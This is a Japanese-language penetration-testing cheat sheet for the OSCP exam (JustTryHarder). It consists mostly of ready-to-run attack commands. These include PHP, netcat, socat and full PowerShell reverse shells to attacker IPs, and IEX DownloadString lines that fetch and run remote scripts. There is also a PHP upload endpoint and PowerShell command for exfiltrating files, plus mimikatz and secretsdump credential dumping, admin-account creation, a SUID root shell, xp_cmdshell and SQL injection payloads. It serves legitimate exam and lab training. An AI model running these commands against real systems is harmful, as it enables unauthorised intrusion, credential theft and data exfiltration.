
PWK/OSCP試験対策のための包括的なペネトレーションテストチートシート。権限昇格、パスワードクラッキング、ペイロード生成、ポストエクスプロイテーション、ポートスキャン、Web攻撃、偵察手法を網羅。
JustTryHarder は、PWKコースおよびOSCP試験を支援するチートシートです。
(PayloadAllTheThingsに触発されました)
もし役立ったなら、Pull Requestを送ったりスターを残して愛を示してください。💖
Hacktoberfest 歓迎! はい、Hacktoberfest の Pull Request を受け付けています!スパムではなく、このリポジトリに実際に貢献するものにしてください。ありがとうございます。ハッピーハッキング!
免責事項: 以下にはPWKラボやOSCP試験のネタバレは含まれません。
この情報の多くは、他のGithubリポジトリ、ブログ、サイトなどから入手しました。元の作成者にできる限りクレジットを付けるよう努めました。クレジットが付与されていない場合は、Twitterでご連絡ください: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
`TTL` を使用してホストの OS を判別できます。TTL には以下の 3 種類があります。
- **TTL=64** = \*nix - ホップ数。もし 61 を取得した場合、3 ホップで \*nix デバイスであることを示します。ほとんどの場合 Linux です。
- **TTL=128** = Windows - 同様に、TTL が 127 なら 1 ホップで Windows マシンです。
- **TTL=254** = Solaris/AIX - TTL が 250 ならホップ数は 4 で Solaris マシンです。
## BOF (WIP)
(よくある悪意のあるバイトには、`0x00`、`0x0A`、`0x0D` が含まれます。)
- ファジング
- EIP 位置の特定
- 悪意のあるバイトの特定
- `jmp esp` の特定
- `msfvenom` を使用したペイロードの生成
- `netcat` を使用したリバースシェルの取得
**BOF の参考資料:**
- [NCC Group - Windows 用エクスプロイトの作成](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - エクスプロイト作成チュートリアル パート 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32 ビット Windows バッファオーバーフローの簡単な解説](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## 脱出 / 環境エスケープ
- [Pentest Partners - Citrix からの脱出](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk 脱出](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Kiosk/POS 脱出キー](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Citrix 環境からの脱出](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - アプリケーションからの脱出](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - 環境脱出に関する一般的な問題 (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix 脱出](https://gracefulsecurity.com/citrix-breakout/)
## DNS - ゾーン転送```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## ファイル転送
### SMB転送
被害者マシン(Windows)の場合:```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget 転送
リバースシェル内でホストからファイルを取得する方法。
**セットアップ:** 転送したいファイルを `/var/www/html/` に配置し、`service apache2 start` を実行します。
リモートサーバーで実行:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### TFTP転送
(KaliからWindowsへの転送方法)。
**MSFの使用:**
これらの手順の前にMSFを起動してください:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**ターミナル内:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (WindowsからKali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
インタラクティブセッション:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
インタラクティブなPowerShellセッションを使用せずに(`wget.ps1`を作成):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -> Linux)
**ローカルホスト:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. `encoded.b64` を `nc` などを介してリモートサーバーに転送します。
**リモートサーバ (Linux):**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### HTTPファイルアップロード(外部流出)
**1. upload.phpの作成**
攻撃マシンのウェブルート(デフォルトでは`/var/www/html`)に作成する。```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. ディレクトリを作成**
アップロードディレクトリを作成し、アップロードを許可する適切な権限を設定します。```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. ファイルのアップロード**
PowerShellを使用して被害マシンから攻撃マシンにファイルをアップロードします:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHPリバースシェル:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**コマンドインジェクション:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL Injection Cheatsheet](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL Injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## パスワードクラッキング
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## パスワードスプレー攻撃 (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## ペイロード生成
- [NETSEC - ペイロード作成](https://netsec.ws/?p=331)
- [MsfVenom チートシート](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed ペイロード](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**種類:**
- 非ステージド: `netcat`
- ステージド: `multi/handler`
## PHP
- [exec()、shell_exec、system()、passthru()の違い](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)
## 権限昇格 - Linux
**注:** GCC と wget がインストールされている場合、システムはカーネルエクスプロイトに対して脆弱である可能性があります。
- [Linux カーネルエクスプロイト](https://github.com/SecWiki/linux-kernel-exploits)
- [GTFObins - 制限付きシェルからの脱出](https://gtfobins.github.io)
- GTFO ヘルパースクリプト: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
- [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
- [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2)
- [基本的な Linux 権限昇格](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
**列挙コマンド:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**カスタムSUIDバイナリ:**
対象ユーザーとしてコード実行が必要です。例: mysql sys\_eval を root として。```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main(){
setuid(geteuid());
system("/bin/bash");
return 0;
}
```
## 権限昇格 - Windows
- [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
- [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
- [Powerless - Enumeration Tool](https://github.com/M4ximuss/Powerless)
- [Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop)
- [Just Another Windows (Enum) Script / JAWS](https://github.com/411Hall/JAWS)
- [Watson](https://github.com/rasta-mouse/Watson)
- [Sherlock (非推奨)](https://github.com/rasta-mouse/Sherlock)
- [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
**コマンド:**
- `churrasco -d "net user /add <username> <password>"`
- `churrasco -d "net localgroup administrators <username> /add"`
- `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`
## ポストエクスプロイテーション
1. `Mimikatz.exe` (実行)
2. `privilege::debug`
3. `sekurlsa::logonpasswords`
## ポートフォワーディング
> **ローカル:** ローカルポートをリモートホストに転送します。
> リモートマシンから到達可能なサービスがローカルマシン上で動作しており、そのサービスにローカルマシンから直接アクセスしたい場合にローカル転送を使用します。
>
> **リモート:** リモートポートをローカルホストに転送します。
> ローカルマシンから到達可能なサービスがあり、それをリモートマシンから利用可能にしたい場合にリモート転送を使用します。SSHでログインしたマシン上で待受ソケットを開きます。
>
> **動的:** SOCKSを使用します。
> 動的転送はローカル転送と似ていますが、クライアント側でSOCKSプロキシのように動作します。SOCKS転送を期待するソフトウェアで接続する必要がある場合に使用します。
### Chisel
**ローカルシステム:**```bash
./chisel server -p 8080 --reverse
```
**被害者:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH
1. **SSH鍵ペアを生成し**、ピボットに使用するボックス上で認証情報を保護します。
<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2. **公開鍵をコピーする**。この値とピボットマシンのIPアドレスを、攻撃用マシン(Kali)の `~/.ssh/authorized_keys` ファイルに以下の構文を使用して追加します。
<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3. **SSH サービスが実行されていることを確認してください** (自身の攻撃用(Kali)マシン上で)。
<!-- end list -->```bash
sudo service ssh start
```
4. **SSH接続を開始する** ピボットを行っているボックスから、手順1で生成した`id_rsa`秘密鍵を指定します。
<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5. **proxychains設定を編集する**: `/etc/proxychains.conf`
<!-- end list -->```
socks4 127.0.0.1 1080
```
6. **proxychainsを実行してください**。`nmap`でスキャンする際は、必ずTCP Connectスキャンを使用してください。
<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**補足:**
- `ssh [email protected] -R 1234:127.0.0.1:1234`
- `ssh -D 1337 -q -C -N -f [email protected]` ([出典](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))
## Socks Proxy (PowerShell使用)
**ローカル:**
- `vi /etc/proxychains.conf` -\> `socks5 <ip> 9080`
- `Import-Module .\Invoke-SocksProxy.psm1`
- `Invoke-SocksProxy -bindPort 9080`
- `proxychains nmap -sT <ip>`
## ポートスキャン
### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP
(時間がかかる可能性があります。シェルがある場合、`netstat` の方が良い代替手段です。)```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### その他のプロトコル
**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`
**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`
**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`
**NMAP ブートストラップレポート:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Pingスイープ
### Linux (ワンライナー)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux (スクリプト)```bash
for i in `seq 1 255`
do
ping -c1 192.168.125.$i 2>/dev/null 1>&2
if [[ $? -eq 0 ]]
then
echo 192.168.125.$i is up
fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## ピボット
- `sshuttle -r [email protected] 10.1.1.0/24`
## リモートデスクトップ
- `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
- `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`
## Responder
- `responder -I tun0 -wrF`
- [Responder with NTLM Relay and Empire](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
- [Practical Guide to NTLM Relaying](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
## リバースシェル
**Linux:**
- [PentestMonkey - Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- [Awansec - Reverse Shell](https://awansec.com/reverse-shell.html)
- [RevShells.com](https://www.revshells.com/)
**Windows:**
- [GitHub - Windows PHP Reverse Shell](https://github.com/Dhayalanb/windows-php-reverse-shell)
- `nc 10.10.10.10 4444 –e cmd.exe`
## シェルアップグレード
出典: [Ropnop Blog](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) & [HTBフォーラム](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
### Python
1. `python -c 'import pty;spawn("/bin/bash");'` OR `python3 -c 'import pty;spawn("/bin/bash");'`
2. リバースシェル内で:
<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3. Kaliの場合:
<!-- end list -->```bash
stty raw -echo
fg
```
4. reverse shell において:
<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### Socatの使用
**リスナー:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**被害者:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl
1. `perl -e 'exec "/bin/sh";'`
2. `perl: exec "/bin/sh";`
### Bash
`/bin/sh -i`
## SQLインジェクション (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## リッスンポートの表示
**Linux netstat:**
`netstat -tulpn | grep LISTEN`
**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`
**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`
**Nmap スキャン:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)
## SMB - 列挙
- [0xdf - SMB列挙チェックリスト](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
- `smbmap -H 10.10.10.10`
- `smbclient -L 10.0.0.10`
- `smbclient //10.10.10.10/share$`
## SMB - Impacket
**Impacket's PSEXEC** (リモートポート転送を作成した後):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**Impacket's SMBServer** (ファイル転送用):
1. `cd /usr/share/windows-binaries`
2. `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3. `\\10.10.10.10\a\mimikatz.exe`
## SMTP 列挙
- [SMTP コマンド](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)
## ICMP インジェクション
1. `ping -n 3 10.10.10.10`
2. `tcpdump -i tun0 icmp`
## VMware (フルスクリーンにならない場合)
`systemctl restart open-vm-tools.service`
## ウェブサーバー
- `python -m SimpleHTTPServer 80`
- `python3 -m http.server 80`
- `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
- `php -S 0.0.0.0:80`
## ウェブスキャン
**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**その他のGoBuster:**
- HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
- HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`
**Nikto:**
- HTTP: `nikto -h 10.10.10.10 -p 80`
- HTTPS: `nikto -h 10.10.10.10 -p 443`
**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## ウェブシェル
- [PHPBash](https://github.com/Arrexel/phpbash)
- [p0wny-shell](https://github.com/flozz/p0wny-shell)
## WordPress
- [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)
## Windows Framework / Powershell
**PowerShell の実行ポリシーをバイパスする:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**リソース:**
- [Nishang](https://github.com/samratashok/nishang)
- [Sherlock](https://github.com/rasta-mouse/Sherlock)
**リバース PowerShell:**
(場合によっては、文字列の前に powershell や echo を付けたり、引用符を使用する必要があります。)```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp(ローカルウェブサーバーから):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
または```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**MSSQLを使用したリバースPowerShell:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**PowerShell を使用したファイル転送:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Windows ポストエクスプロイテーションコマンド```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## Writeable Directories
### Windows
(出典: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
以下のフォルダは、デフォルトで通常ユーザーが書き込み可能です(OSのバージョンによって異なります)。```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux
ワールド書き込み可能なディレクトリをLinuxで見つけるには:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
## TODO リスト:
- [ ] チートシートの可読性を向上させる
- [ ] 空のセクションを埋める
- [ ] 不要なセクションを削除する
- [ ] リポジトリ内のファイルをチートシートに統合する
- [ ] GitBook に移行する
- [ ] 必要に応じてチートシートにスクリーンショット/GIF を含める
- [ ] 目次を追加する
## 謝辞:
私のチートシートをウェブサイトやブログに掲載してくれた皆様に感謝します:
- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)
- [NCyberSec Facebook Post](https://www.facebook.com/ncybersec/posts/1541830509321001)
- [CyberG0100 Facebook Post](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)
- [r/CyberSpaceVN Reddit Post](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)
- [XN4K PWK Cheatsheet](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)
- [OpenSourceLibs Pentesting Tools](https://opensourcelibs.com/libs/pentesting-tools)
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)
- [BugBountyTips Blog](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)
- [PythonLang OSCP Category](https://pythonlang.dev/category/oscp/)